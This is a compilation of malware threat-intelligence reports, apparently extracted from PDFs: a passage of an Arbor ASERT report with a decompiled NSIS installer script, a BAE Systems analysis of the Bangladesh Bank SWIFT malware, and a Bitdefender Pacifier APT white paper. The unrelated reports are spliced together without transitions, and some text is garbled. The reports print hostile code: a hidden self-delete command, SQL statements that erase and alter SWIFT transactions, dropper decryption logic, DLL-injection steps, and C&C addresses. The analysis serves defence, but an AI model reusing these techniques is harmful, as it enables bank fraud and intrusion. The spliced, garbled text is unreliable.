label_29 +IntOp $3 $1 + $2 +IntOp $3 $3 % 255 +FileReadByte $R1 $R2 +FileSeek $R1 -1 CUR +IntOp $R2 $R2 ^ $3 +FileWriteByte $R1 $R2 +IntOp $1 $2 + 0 +IntOp $2 $3 + 0 +Goto label_16 +Goto label_16 +Goto label_29 +label_29: +FileClose $R1 +System::Call "$INSTDIR\Shell.dll::Init(i 1)" +; Call Initialize_____Plugins +; SetOverwrite off +; AllowSkipFiles off +; File $PLUGINSDIR\System.dll +; SetDetailsPrint lastused +; Push "$INSTDIR\Shell.dll::Init(i 1)" +; CallInstDLL $PLUGINSDIR\System.dll Call +System::Call "kernel32::GetModuleFileName(i 0,t .R1,i 1024)" +; Call Initialize_____Plugins +; File $PLUGINSDIR\System.dll +Proprietary and Confidential Information of Arbor Networks, Inc. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +; SetDetailsPrint lastused +; Push "kernel32::GetModuleFileName(i 0,t .R1,i 1024)" +; CallInstDLL $PLUGINSDIR\System.dll Call +ExecShell open cmd.exe "/c ping 127.0.0.1&del $\"$R1$\"" SW_HIDE +SectionEnd +; "open cmd.exe" +Function Initialize_____Plugins +SetDetailsPrint none +StrCmp $PLUGINSDIR "" 0 label_52 +Push $0 +SetErrors +GetTempFileName $0 +Delete $0 +CreateDirectory $0 +IfErrors label_53 +StrCpy $PLUGINSDIR $0 +Pop $0 +label_52: +Return +label_53: +MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK +Quit +FunctionEnd +NOTE: a possibly imperfect reconstruction of the NSIS script results in artifacts below. +; -------------------; UNREFERENCED STRINGS: +1 ProgramFilesDir +17 CommonFilesDir +32 "C:\Program Files" +49 $PROGRAMFILES +53 "$PROGRAMFILES\Common Files" +70 $COMMONFILES +Several interesting elements inside this script stand out. In particular, we see +SilentInstall silent + which likely +makes for an installation of the malware that provides no notification to the user. We see that threat actors +have used Nullsoft Install System v3.0b2, which was released on August 5, 2015 and provides for Windows 10 +installation support [http://sourceforge.net/p/nsis/news/2015/08/nsis-30b2-released/]. Therefore, we can +know that at least this package was designed after August 5, 2015. We can see from the config that the LZMA +compression option is used (SetCompressor /SOLID lzma) which apparently provides for higher compression +rates. The /SOLID option compresses all of the installer data into one block, resulting in greater compression +ratios (and potentially further complicating static analysis and detection routines). + Copyright 2015 Arbor Networks, Inc. All rights reserved. +ASERT Threat Intelligence Report + Uncovering the Seven Pointed Dagger +References +1. https://asert.arbornetworks.com/defending-the-white-elephant/ +2. http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-onpresident-of-myanmars-website/ +3. https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/ +4. http://pages.arbornetworks.com/rs/082-KNA087/images/ASERT%20Threat%20Intelligence%20Brief%20201505%20PlugX%20Threat%20Activity%20in%20Myanmar.pdf +5. http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targetedattack-campaigns.pdf +6. http://webcache.googleusercontent.com/search?q=cache:yZN1nJdkDD0J: www.ilovematlab.cn/spaceuid-896373.html+&cd=11&hl=en&ct=clnk&gl=us +About ASERT +The Arbor Security Engineering & Response Team (ASERT) at Arbor Networks delivers world-class network +security research and analysis for the benefit of today's enterprise and network operators. ASERT engineers +and researchers are part of an elite group of institutions that are referred to as +super remediators, + and +represent the best in information security. This is a reflection of having both visibility and remediation +capabilities at a majority of service provider networks globally. +ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response +Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds. +ASERT also operates the world1s largest distributed honeynet, actively monitoring Internet threats around the +clock and around the globe via ATLAS +, Arbor's global network of sensors: http://atlas.arbor.net. This mission +and the associated resources that Arbor Networks brings to bear to the problem of global Internet security is +an impetus for innovation and research. +To view the latest research, news, and trends from Arbor, ASERT and the information security community at +large, visit our Threat Portal at http://www.arbornetworks.com/threats/. +Proprietary and Confidential Information of Arbor Networks, Inc. +Two bytes to $951m +baesystemsai.blogspot.co.uk /2016/04/two-bytes-to-951m.html +In February 2016 one of the largest cyber heists was committed and subsequently disclosed. An unknown attacker +gained access to the Bangladesh Bank +s (BB) SWIFT payment system and reportedly instructed an American bank +to transfer money from BB +s account to accounts in The Philippines. The attackers attempted to steal $951m, of +which $81m is still unaccounted for. +The technical details of the attack have yet to be made public, however we +ve recently identified tools uploaded to +online malware repositories that we believe are linked to the heist. The custom malware was submitted by a user in +Bangladesh, and contains sophisticated functionality for interacting with local SWIFT Alliance Access software +running in the victim infrastructure. +This malware appears to be just part of a wider attack toolkit, and would have been used to cover the attackers +tracks as they sent forged payment instructions to make the transfers. This would have hampered the detection and +response to the attack, giving more time for the subsequent money laundering to take place. +The tools are highly configurable and given the correct access could feasibly be used for similar attacks in the future. +Malware samples +SHA1 +Compile time +Size (bytes) +Filename +525a8e3ae4e3df8c9c61f2a49e38541d196e9228 +2016-02-05 11:46:20 +65,536 +evtdiag.exe +76bab478dcc70f979ce62cd306e9ba50ee84e37e +2016-02-04 13:45:39 +16,384 +evtsys.exe +70bf16597e375ad691f2c1efa194dbe7f60e4eeb +2016-02-05 08:55:19 +24,576 +nroff_b.exe +6207b92842b28a438330a2bf0ee8dcab7ef0a163 +33,848 +gpca.dat +We believe all files were created by the same actor(s), but the main focus of the report will be on +525a8e3ae4e3df8c9c61f2a49e38541d196e9228 as this is the component that contains logic for interacting +with the SWIFT software. +The malware registers itself as a service and operates within an environment running SWIFT +s Alliance software +suite, powered by an Oracle Database. +The main purpose is to inspect SWIFT messages for strings defined in the configuration file. From these messages, +the malware can extract fields such as transfer references and SWIFT addresses to interact with the system +database. These details are then used to delete specific transactions, or update transaction amounts appearing in +balance reporting messages based on the amount of Convertible Currency available in specific accounts. +This functionality runs in a loop until 6am on 6th February 2016. This is significant given the transfers are believed to +have occurred in the two days prior to this date. The tool was custom made for this job, and shows a significant level +of knowledge of SWIFT Alliance Access software as well as good malware coding skills. +Malware config and logging +When run, the malware decrypts the contents of its configuration file, using the RC4 key: +4e 38 1f a7 7f 08 cc aa 0d 56 ed ef f9 ed 08 +This configuration is located in the following directory on the victim device: +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\gpca.dat +The configuration file contains a list of transaction IDs, some additional environment information, and the following +IP address to be used for command-and-control (C&C): +196.202.103.174 +The sample also uses the following file for logging: +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\recas.dat +Module patching +The malware enumerates all processes, and if a process has the module liboradb.dll loaded in it, it will patch 2 +bytes in its memory at a specific offset. The patch will replace 2 bytes 0x75 and 0x04 with the bytes 0x90 and +0x90. +These two bytes are the JNZ opcode, briefly explained as 'if the result of the previous comparison operation is not +zero, then jump into the address that follows this instruction, plus 4 bytes'. +Essentially, this opcode is a conditional jump instruction that follows some important check, such as a key validity +check or authorisation success check. +The patch will replace this 2-byte conditional jump with 2 'do-nothing' (NOP) instructions, effectively forcing the host +application to believe that the failed check has in fact succeeded. +For example, the original code could look like: +85 C0 +75 04 +33 c0 +eb 17 +test eax, eax ; some important check +jnz failed ; if failed, jump to 'failed' label below +xor eax, eax ; otherwise, set result to 0 (success) +jmp exit ; and then exit +failed: +B8 01 00 00 00 +mov eax, 1 ; set result to 1 (failure) +Once it's patched, it would look like: +85 C0 +33 c0 +eb 17 +test eax, eax ; some important check +; 'do nothing' in place of 0x75 +; 'do nothing' in place of 0x04 +xor eax, eax ; always set result to 0 (success) +jmp exit ; and then exit +failed: +B8 01 00 00 00 +mov eax, 1 ; never reached: set result to 1 (fail) +As a result, the important check result will be ignored, and the code will never jump to 'failed'. Instead, it will proceed +into setting result to 0 (success). +The liboradb.dll module belongs to SWIFT's Alliance software suite, powered by Oracle Database, and is +responsible for: + Reading the Alliance database path from the registry; + Starting the database; + Performing database backup & restore functions. +By modifying the local instance of SWIFT Alliance Access software, the malware grants itself the ability to execute +database transactions within the victim network. +SWIFT message monitoring +The malware monitors SWIFT Financial Application (FIN) messages, by parsing the contents of the files *.prc and +*.fal located within the directories: +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\in\ +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcm\out\ +It parses the messages, looking for strings defined in gpca.dat. We expect these will be unique identifiers that +identify malicious transactions initiated by the attackers. If present, it then attempts to extract a MESG_TRN_REF and +MESG_SENDER_SWIFT_ADDRESS from that same message by looking for the following hard coded strings: +"FIN 900 Confirmation of Debit" +"20: Transaction" +"Sender :" +[additional filters from the decrypted configuration file +gpca.dat] +The malware will use this extracted data to form valid SQL statements. It attempts to retrieve the SWIFT unique +message ID (MESG_S_UMID) that corresponds to the transfer reference and sender address retrieved earlier: +SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE +'%%%s%%' AND MESG_TRN_REF LIKE '%%%s%%'; +The MESG_S_UMID is then passed to DELETE statements, deleting the transaction from the local database. +DELETE FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = +'%s'; +DELETE FROM SAAOWNER.TEXT_%s WHERE TEXT_S_UMID = +'%s'; +The SQL statements are dropped into a temporary file with the 'SQL' prefix. The SQL statements are prepended +with the following prefixed statements: +set heading off; +set linesize +32567; +SET FEEDBACK OFF; +SET ECHO OFF; +SET FEED OFF; +SET VERIFY OFF; +Once the temporary file with the SQL statements is constructed, it is executed from a shell script with 'sysdba' +permissions. An example is shown below: +cmd.exe /c echo exit | sqlplus -S / as sysdba @[SQL_Statements] > +[OUTPUT_FILE] +Login monitoring +After start up the malware falls into a loop where it constantly checks for the journal record that contains the "Login" +string in it: +SELECT * FROM (SELECT JRNL_DISPLAY_TEXT, JRNL_DATE_TIME FROM SAAOWNER.JRNL_%s WHERE +JRNL_DISPLAY_TEXT LIKE '%%LT BBHOBDDHA: Log%%' ORDER BY JRNL_DATE_TIME DESC) A WHERE +ROWNUM = 1; +NOTE: +BBHOBDDH + is the SWIFT code for the Bangladesh Bank in Dhaka. +If it fails to find the "Login" record, it falls asleep for 5 seconds and then tries again. Once the "Login" record is +found, the malware sends a GET request to the remote C&C. +The GET request has the format: +[C&C_server]/al? +[data] +The malware notifies the remote C&C each hour of events, sending "---O" if the "Login" (open) event occurred, +"---C" in case "Logout" (close) event occurred, or "---N" if neither of the events occurred, e.g.: +[C&C_server]/al?--O +Manipulating balances +The malware monitors all SWIFT messages found in: +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\in\*.* +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\out\*.* +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcp\unk\*.* +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzp +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\nfzf +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\fofp +[ROOT_DRIVE]:\Users\Administrator\AppData\Local\Allians\mcs\foff +The messages are parsed looking for information tagged with the following strings: +"19A: Amount" +": Debit" +"Debit/Credit :" +"Sender :" +"Amount :" +"FEDERAL RESERVE +BANK" +" D" +" C" +"62F: " +60F: " +"60M: " +"62M: " +"Credit" +"Debit" +" 64: " +" 20: Transaction" +"90B: Price" +For example, the "62F:" field specifies the closing balance, "60F:" is opening balance, "19A:" is transaction +amount. +The malware also checks if the messages contain a filter specified within the configuration file gpca.dat. +The logged in account, as seen from the journal, is then used to check how much Convertible Currency amount ( +MESG_FIN_CCY_AMOUNT) it has available: +SELECT MESG_FIN_CCY_AMOUNT FROM SAAOWNER.MESG_%s WHERE MESG_S_UMID = +'%s'; +Alternatively, it can query for a message for a specified sender with a specified amount of Convertible Currency: +SELECT MESG_S_UMID FROM SAAOWNER.MESG_%s WHERE MESG_SENDER_SWIFT_ADDRESS LIKE +'%%%s%%' AND MESG_FIN_CCY_AMOUNT LIKE '%%%s%%'; +The amount of Convertible Currency is then manipulated in the message by changing it to the arbitrary value ( +MESG_FIN_CCY_AMOUNT +UPDATE SAAOWNER.MESG_%s SET MESG_FIN_CCY_AMOUNT = '%s' WHERE MESG_S_UMID = '%s'; +UPDATE SAAOWNER.TEXT_%s SET TEXT_DATA_BLOCK = UTL_RAW.CAST_TO_VARCHAR2('%s') WHERE +TEXT_S_UMID = '%s'; +Printer manipulation +In order to hide the fraudulent transactions carried out by the attacker(s), the database/message manipulations are +not sufficient. SWIFT network also generates confirmation messages, and these messages are sent by the software +for printing. If the fraudulent transaction confirmations are printed out, the banking officials can spot an anomaly and +then respond appropriately to stop such transactions from happening. +Hence, the malware also intercepts the confirmation SWIFT messages and then sends for printing the 'doctored' +(manipulated) copies of such messages in order to cover up the fraudulent transactions. +To achieve that, the SWIFT messages the malware locates are read, parsed, and converted into PRT files that +describe the text in Printer Command Language (PCL). +These temporary PRT files are then submitted for printing by using another executable file called nroff.exe, a +legitimate tool from the SWIFT software suite. +The PCL language used specifies the printer model, which is "HP LaserJet 400 M401": +Once sent for printing, the PRT files are then overwritten +with '0's (reliably deleted). +CONCLUSIONS +The analysed sample allows a glimpse into the toolkit of one +of the team in well-planned bank heist. Many pieces of the +puzzle are still missing though: how the attackers sent the +fraudulent transfers; how the malware was implanted; and +crucially, who was behind this. +This malware was written bespoke for attacking a specific +victim infrastructure, but the general tools, techniques and +procedures used in the attack may allow the gang to strike again. All financial institutions who run SWIFT Alliance +Access and similar systems should be seriously reviewing their security now to make sure they too are not exposed. +This attacker put significant effort into deleting evidence of their activities, subverting normal business processes to +remain undetected and hampering the response from the victim. The wider lesson learned here may be that +criminals are conducting more and more sophisticated attacks against victim organisations, particularly in the area +of network intrusions (which has traditionally been the domain of the + actor). As the threat evolves, businesses +and other network owners need to ensure they are prepared to keep up with the evolving challenge of securing +critical systems. +White Paper +Pacifier APT +White Paper +Contents +Overview....................................................................................................................................................................... 3 +2014-15 Executable Files......................................................................................................................................... 4 +2014-15 Browser Extension.................................................................................................................................. 11 +Other 2015 variants..................................................................................................................................................15 +2016 attack wave..................................................................................................................................................... 16 +IOCs...............................................................................................................................................................................22 +SHA1 hashes of all known variants...................................................................................................................24 +Clean documents opened by droppers............................................................................................................26 +Authors: +Marius TIVADAR +Cristian ISTRATE +Iulian MUNTEAN +Andrei ARDELEAN +White Paper +Overview +Bitdefender detected and blocked an ongoing cyber-espionage campaign against Romanian institutions and +other foreign targets. The attacks started in 2014, with the latest reported occurrences in May of 2016. The APT, +dubbed Pacifier by Bitdefender researchers, makes use of malicious .doc documents and .zip files distributed +via spear phishing e-mail. +Documents used range from curriculum vitae, to invitations to social functions or conferences, to second hand +car offers and even, in one case, a letter of instructions from a high-ranking official. Some were marked as +urgent +important +immediate action required + and so on. +Other samples of the same malicious software were detected in Iran, India, Philippines, Russia, Lithuania, +Thailand, Vietnam and Hungary. +The high number of variants, in conjunction with the low number of reports and the nature of the affected +machines has brought us to the conclusion that we are dealing with an APT. +The malicious payloads delivered evolved over time, becoming stealthier and adding functionality as time went +by. Our analysis focuses on three representative variants of the malware used in the attacks, but a number of +others, differing by minor details, were found in the wild. +Aside from the analysis, this paper lists hashes of malicious files, as well as other IOCs. +White Paper +2014-15 Executable Files +The Infected Document +The infection starts from one infected document. +Analysis started from documents containing droppers. The dropper is encrypted and appended to the end of the document; the +document contains a script that reads, decrypts and runs the dropper. +The last dword in the document file represents the size of the executable. The 5th byte from the end of the document is a checksum on +the decrypted executable, used for validation. The actions from the script are summarized below: +size = last_dword_from_file; +checksum = byte_before_size_dword; // read encrypted dropper in +buffer for (key = 35, i = 0; i < size; i++) +buffer[i] = buffer[i] ^ key; +key = (key ^ 217) ^ (i % 256); +} for (sum = 0, i = 0; i < size; i++) +sum = sum ^ buffer[i]; +.DOC +if (sum ==checksum)(1 byte) +(4 bytes) +// write and execute the file in: +Encrypted dropper +// %appdata%\Microsoft\Word\MSWord.exe +For the script to run, macros must be enabled in Word. +As you can see in Appendix A the content of the infected documents is designed to trick the user +into enabling the macros. If the macros are enabled the dropper is executed and opens another +document, as expected by the user. For example if the infected document says it is a +protected +document and you must enable macros to view it, then the dropper will open another document +with an invitation to a conference as the +protected + document. +In Appendix B you can find some examples of these +pacifier + documents, these are clean and +contain no scripts or executables. +Checksum +(1 byte) +Size +(4 bytes) +White Paper +Trojan component +Initial infected +document +Clean document +(European_global +drop +Level 1 dropper +(MsWord.exe) +drop +outlook.exe +drop +drop files +ntlm.exe, msvci.dll +msvct.exe, msvck.dll +msvcp.dll, msvci.exe +msvck60.dll, msvct60.dll +modify +msvct.dll +get PID +Level 2 dropper +(ubfic.exe) +msvck.dll +main +backdoor +msvcp.dll +inject +desktop icons +ntlm.exe +msvci.dll +open +Registry autorun +open +Functionality on 32bit Windows +ntlm.exe + startup executable +msvcp.dll + get PID of outlook.exe +msvci.dll + inject msvck.dll in outlook process +msvck.dll + main backdoor +msvct.dll +C&C communication +ntlm.exe +startup +executable +msvcp.dll + get PID of outlook.exe +msvci.dll + inject msvck.dll in outlook process +msvck.dll + main backdoor +msvct.dll + C&C communication +Functionality on 32bit Windows +White Paper +The Dropper +The script previously loaded from the infected .doc file executes the dropper from: +%appdata%\Microsoft\Word\MSWord.exe +The dropper is a small executable that has the files to be deployed in the overlay encrypted with RC4. It just creates and runs the +following files in this order: +%appdata%\TMP\European_global_navigation_system.doc +%appdata%\Axpim\ubfic.exe +%appdata%\Axpim\ anfel.js +The file European_global_navigation_system.doc is a clean document used to distract the user (see Appendix B). The file ubfic.exe +is another dropper containing the real payload. The anfel.js file is used for self deletion. The names: Axpim, ubfic, anfel are random +generated. +The folder name will contain 4-6 characters and starts with capital letter. The file names contain 4-5 lowercase letters before the +extension. The random generator is based on GetTickCount API. The algorithm for creating the names is presented below in python +implementation. Practically, it concatenates random vowels and consonants, but with the condition that no more than two of the same +type to be consecutive, with the aim of generating names that are somewhat pronounceable and thus may pass as man-made. +This algorithm was also used in some versions of Zeus for file name generation. +# name length will be between minLen and maxLen +# flags - 4 name will contain spaces +- 2 name will have first letter uppercase +- can be combined +def RandomName(minLen,maxLen,flag): +letters = [ +aeiouy +bcdfghklmnpqrstvwxz +name = + seed() +index = randint(0,1) +nameLen = randint(minLen, maxLen) +for i in range(0, nameLen): +if i > 0 and i % 2 == 0: +index = randint(0,1) +if (flag & 4) == 4 and len(name)>0 and name[-1]!= + and randint(0,3)==0: +name = name + +elif i % 2 == 0: +name = name + choice(letters[index]) +else: +name = name + choice(letters[1 - index]) +if (flag & 2) == 2: +name = name.title() +return name.rstrip() +# generate folder name +RandomName(4, 6, 2) +# generate file names +RandomName(4, 5, 0) +White Paper +The Second Dropper +The payload dropper, ubfic.exe, contains its files in its .data section and is not encrypted or compressed. It creates the files: +%temp%\ntlm.exe +%temp%\msvci.dll +%temp%\msvcp.dll +%temp%\msvck.dll +%temp%\msvct.dll +%temp%\msvci.exe (64 bit) +%temp%\msvck60.dll (64 bit) +%temp%\msvct60.dll (64 bit) +These files make up the payload. The last three are for 64-bit Windows, the rest are for the 32-bit version. The starting point of the +payload is the ntlm.exe file which is discussed below. Next, using COM objects, the dropper modifies the .lnk files from the desktop and +saves the original links in %temp%\Links folder. The links are modified to start the trojan: +Target +Original +C:\Program Files\Sysinternals\Filemon.exe +C:\Documents and Settings\user\Local Settings\Temp\ntlm.exe +Modified +C:\Program Files\Sysinternals\Filemon.exe +The target file of the link is replaced with ntlm.exe and the original target is sent as a parameter to ntlm.exe, which upon execution +will execute it. Next, the dropper creates %temp%\startup.bat which adds to the registry: +HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchostUpdate -> %TEMP%\ntlm.exe +HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices -> %TEMP%\ntlm.exe +The first key is for starting the trojan, along the .lnk files. Some versions do not have the lnk feature, only the registry keys. The +second key is never used in our samples. +Last file created is %temp%\Axpim\selfdel.bat for self-deletion. +msvcp.dll +32 bit library used for returning the PID of one of the processes: iexplore.exe, outlook.exe, firefox.exe, chrome.exe. It hase one export, +msvcp, which enumerates running processes and checks their names. It will return the PID of the first one found. If the processes could +not be enumerated it returns 0. If no process was found it returns -1. Instead of storing the actual names of those processes in the dll, +it stores a byte array as a key and one byte array (result) for each of the 4 names. The checking is done: ProcessName xor key == result, +on coresponding bytes. The function may return different PIDs when processes are stopped or started. +White Paper +msvci.dll +32 bit library used for injecting msvck.dll (the 32 bit backdoor) into a running 32 bit process. The library has one export msvci, which +takes one parameter representing the PID of a running process. It allocates a small chunk of memory into that process (260 bytes). In +this memory it copies the path to the msvck.dll file, which is found in %temp%\msvck.dll. +Then, from the current process it gets the address of LoadLibraryA function and creates a remote thread in the target process starting +at that address. The parameter sent for the thread function is the address of the new allocated string containing the path to msvck.dll. +As a result, in the target process, a thread is created which just executes LoadLibraryA( +path to msvck.dll +This method will work even if ASLR is enabled, because the random loading offset for dlls is calculated once per boot and by default +one dll is loaded at the same address in different processes. msvci.exe +64 bit application used for injecting msvck60.dll (the 64 bit backdoor) into a running 64bit process. The executable takes a commandline +parameter representing a PID. The functionality is identical to msvci.dll library. ntlm.exe +This is the file that starts the trojan. First, it creates a named pipe \\.\pipe\bc367 used as a mutex, as the file will probably be executed +many times from the shortcuts. The name of the pipe and all other strings in the file and in the rest of the dlls are encrypted with RC4. +It sets the other files of the trojan (msvci.dll, msvcp.dll, msvck.dll, msvct.dll, msvci.exe, msvck60.dll, msvct60.dll) as hidden, ntml.exe +will not be hidden. +Afterwards, the executable enters an infinite loop. +It checks if the file %temp%\msvci.dll exists, if it does not exist it will do a self destroy: deletes all components, deletes registry keys, +restores the original lnk files from %temp%\Links, closes the pipe. This behaviour is used by the backdoor component later for self +deleting. +Next it loads the msvcp.dll library and call msvcp export from it. This function returns the PID of one of the processes: iexplore.exe, +outlook. exe, firefox.exe, chrome.exe, and 0 or -1 if none of those processes was found. If a process was found, its PID is saved into a +variable, then the program checks whether that process is a 32 bit or 64 bit process. +If it is a 32 bit process it calls msvci export from msvci.dll with one parameter, the PID. If the process is a 64 bit process it creates a +start +Create pipe, +Hide files +Sleep 30 sec +Self delete +msvci.dll +exists +Call msvcp, +Get PID of target +PID == last_PID +Last_PID = PID +PID process +Is 64 bit +Execute +msvci.exe PID +ntlm.exe functionality +ntlm.exe +IsWow64 +Call msvci(PID) +IsWow64 +target is +32 bit +target is +64 bit +Check if a process is 64bit knowing +that ntlm.exe is 32bit +White Paper +process from msvci.exe with the commandline parameter being the PID converted to ascii, base 10 (ex: msvci.exe 728). +The purpose of msvci.dll and msvci.exe (64bit) is to inject the payload into a process. After this it sleeps 30 seconds and repeats +indefinitely. +The saved PID is checked so that it doesn +t inject again into the same process. This mecanism is flawed because another process from +the list could be found and it will inject into it also, or it is possible to inject in the same process twice, for example outlook.exe opened +first and injected then iexplore.exe opened second and injected then iexplore.exe closed and outlook.exe injected again. +Another bug can appear if msvcp.dll will be deleted because when calling LoadLibrary and GetProcAddress it doesn +t check the return +values and the program will crash when calling a NULL pointer. +msvct.dll +32 bit library contains functions for communicating with the C&C, using WinINet API. The backdoor does not contain any C&C +addresses or networking logic, it just uses the exports from msvct.dll, namely: +BOOL CI(void) + Checks for internet connection. Returns true if a http request ( +GET /1 +) to www.google.com succeeds; +returns false if not. +BOOL SHR(char *ServerAddr, char *ServerScript, void *ID, void *SendBuff, void *RecvBuff, void *extra) + Sends and receives +data to/ from C&C. The communication is encrypted through HTTPS, port 443. +Extra flags are used for the connection: INTERNET_FLAG_IGNORE_ CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_CERT_ +CN_INVALID, SECURITY_FLAG_IGNORE_UNKNOWN_CA to ignore errors caused by invalid certificates. ServerAddr and ServerScript +make the address of the C&C, these are found using the CS export. ID is a structure made from a buffer (string) and its length. The ID +string will be put into the HTTP headers. SendBuff is the same type of structure like the ID. SendBuff contains data that is sent to the +C&C. RecvBuff is a structure that contains 4 members, 3 being pointers: a data buffer, a buffer length and two strings. This structure +will be filled with data coming from C&C. The data buffer can contain batch commands or whole files to be written to disk. The first +string will contain the Content-Type from the headers and this will be the command for the backdoor. The second string will contain the +Content-Location from the headers and will have the name of a file for download/upload commands. The last parameter, extra, is again +a structure from a buffer and its length. It is optional. The string that it contains is sent through the HTTP header. This is used by the +CS export and then it contains that +Check: RandomNr + string for C&C validation. It is also used in the +upload + backdoor command. +The function returns true or false. +BOOL CS(void *ID, char *ServerAddr, char *ServerScript) + Check C&C connectivity. Returns true if it founds a valid C&C and +ServerAdd, ServerScript (output parameters) will contain the address and the page/script of the C&C. ID (input parameter) is a structure +that contains a string and its length. The string represents an ID identifying the infected system. This function tries two hardcoded C&C +addresses: 88.208.0.130/rss.php, 78.47.51.238/rss.php (other variants used different addreses). It generates a random number from 0 +to 32767 and then creates a string with it, such as: +Check: 1352 +. This string will be sent in the http headers using SHR function to the +C&C. If a C&C is alive it must respond with the string +1352 + back. If none of the two C&Cs are alive the function returns false. +msvct60.dll +64 bit version of msvct.dll msvck.dll +32 bit library containing the main functionality, the actual backdoor. It has no exports and will only execute if injected into iexplore.exe, +outlook.exe, firefox.exe or chrome.exe. +First, it checks the internet connection using the CI export from msvct.dll. If it has no internet access the execution ends. +Next it creates an ID of the infected system as a string such as: +MyCookie: {eceee5c0-1eca-11de-abc9-806d6172696f}{3559831177} + the GUID is obtained using GetCurrentHwProfile API and the +second bracketed number is the volume serial number. If GetCurrentHwProfile fails the ID will be: +MyCookie: UserName{3559831177} + with the username from GetUserNameA API and again the volume serial number. +White Paper +The ID created will be used to check the connection to the C&C with the CS export from msvct.dll. The connection is checked in an +infinite loop with a sleep of 28 minutes after each check, until a valid, active C&C server is found. The C&C addresses are contained +in msvct.dll and one of them is returned by CS function on success. It can be seen that the loop was meant to only check 3 times for +the connection (like other samples do), but, maybe because this is a intermediary version or by negligence, the code actually loops +indefinitely. +After this follows the code for a regular backdoor which receives commands from the C&C. The commands are received and the +results are sent back with the SHR export from msvct.dll. The backdoor will be identifying the computer with the ID it created. After +3 successful commands received it will sleep for 28 minutes. After 3 consecutive failed commands (SHR returns false) it will again +perform a C&C validation with the CS function in an infinite loop. Here it may receive the other C&C address. If a command is received +but it is not recognized it will sleep again for 28 minutes. The commands are text strings and are described below: + - Creates the file %temp%\xmlupd.bat which will contain batch commands. It creates a process with xmlupd.bat but with stderr +and stdout redirected to the file %temp%\1. It waits maximum 30 seconds for it to finish then it will kill the process. After that it sends +back to the C&C the content of the %temp%\1 file. Some examples of commands received: +systeminfo +netstat +dir/a %programfiles% +dir /a %programfiles(x86)% +download + Receives a file and writes it to %temp%. The name of the file is also received from C&C. It will not execute the file. +upload + Receives a file name, reads the file, converts the content to base64 and sends it to the C&C with an extra HTTP header +File: +filename +. If it doesn +t find the file it sends back the last error (GetLastError for CreateFileA). +text/html + This looks like a normal Content-Type HTTP header value (the commands arrive in the Content-Type header). When this +is received it resets the number of consecutive failed commands and sleeps 28 minutes. The backdoor will continue after. +close + Stops the execution of the backdoor, the injected thread will terminate. +selfdestroy + Deletes the file %temp%\msvci.dll then ntlm.exe will take care of deleteing all other components. The backdoor ends +execution after the command. +msvck60.dll +64 bit version of msvck.dll. +[10] +White Paper +2014-15 Browser Extension +The Infected Document +The infection start from a document cv_Mate.Dimitrescu.doc . The document is constructed in the same way as the documents +containing the other variant of the malware. The script in it has the same functionality, it will create and execute the dropper %appdata%\ +Microsoft\Word\MSWord.exe +The Dropper +The dropper looks the same as the other droppers, only smaller in size. The files that it contains are encrypted with RC4 in overlay. Only +two files will be dropped: +%appdata%\Aggea\ivotp.xpi +%appdata%\Aggea\ylir.js +The names Aggea, ivotp.xpi, ylir.js are random generated. No clean document is present in the dropper and the initial infected document +will not close. There is no second dropper either. The javascript file is executed, installs the xpi file as an extension in Firefox and then +deletes the directory %appdata%\Aggea\. +The Firefox Extension +The extension file will be renamed to {285364ef-e70c-4386-8e5c-2aa93a78daad}.xpi then will be installed in Firefox. In the browser it +will appear with the name +langpack-en-GB 15.0.0 + as in the picture below. +[11] +White Paper +We tested it in Firefox 35.0, in some newer versions it didn +t work. In this version of the malware the extension will work as the backdoor. +The functionality is contained in 3 files in the extension package: 1.js, 2.js, main.js. +1.js +The file 1.js contains encryption and decryption routines. Algorithm used is AES, and the implementation seems to be copied from +https:// github.com/chrisveness/crypto/blob/master/aes.js and ran through an obfuscator. +2.js +The file 2.js contains the C&C addresses and the network functionality. All data to and from the C&C will be sent through normal +HTTP but it will be encrypted and converted to base64. The encryption key is generated once when the extension is started but it +can be changed if the C&C requests as we will see later. In this variant we find 6 C&C addresses (presumably these are previouslycompromised machines): +http://reckless.dk/wp-includes/class-pomo.php +http://reckless.dk/wp-includes/class.wp-db.php +http://fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php +http://fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php +http://77-ufo.com/wp-includes/class-menu.php +http://77-ufo.com/pma/db_table.php +The strings in the files are not visible because the javascript files are highly obfuscated. The function that sends the data to the C&C +also receives the response. The function will select each time a C&C that responds from the list. This file would be the equivalent of +the msvct. dll file from the earlier version. +main.js +The file main.js is the actual backdoor (msvck.dll equivalent). The malware starts by creating an ID for the system. The ID is a Md5 hash +on some data colected from the system. The ID is sent in every request to the C&C as in the previous version with executable files. This +is an example of the data collected for the ID from a test machine: +{285364ef-e70c-4386-8e5c-2aa93a78daad}C:\Documents and +Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237. defaultC:\Documents and Settings\user\Desktop{ec8030f7c20a-464f-9b0e-13a3a9e97384} +There are no line separators, it is just a long string. The ID in this case will be +5815da5d0d5565f342474d976f507807 +. The gathered +data represents: +{285364ef-e70c-4386-8e5c-2aa93a78daad} + 